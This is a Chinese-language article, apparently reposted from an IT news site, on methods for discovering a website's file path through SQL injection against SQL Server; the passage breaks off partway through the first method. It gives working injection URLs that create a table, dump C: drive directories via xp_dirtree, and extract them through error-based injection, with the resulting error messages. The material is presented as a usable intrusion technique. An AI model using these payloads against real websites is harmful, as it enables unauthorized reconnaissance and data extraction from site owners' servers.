軟件測試開發技術SQL Server取得網站路徑的幾種方法及比較 SQL Server數據庫
關鍵字:SQL Server 網站路徑
【賽迪網-IT技術報道】如果網站只開了80端口,你會發現下面的方法是比較有用的,其中用的方法幾乎都不是我發現的,文總包括一些注入時的個人經驗和技巧方法可以說有4種(現在已知的)
第一種方法:
這個是<<怪異的SQL注入>>中介紹的方法
利用sqlserver的xp_dirtree,好的我們先來將一下方法,然后再說其優劣處(在原文的基礎上作了點補充)
建立表
語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!說明建表成功!繼續!
(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用
語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --
返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了)
語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’@Inetpub’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
將 varchar 值 ’test’轉換為數據類型為 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
好我們繼續
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
原文轉自:http://www.anti-gravitydesign.com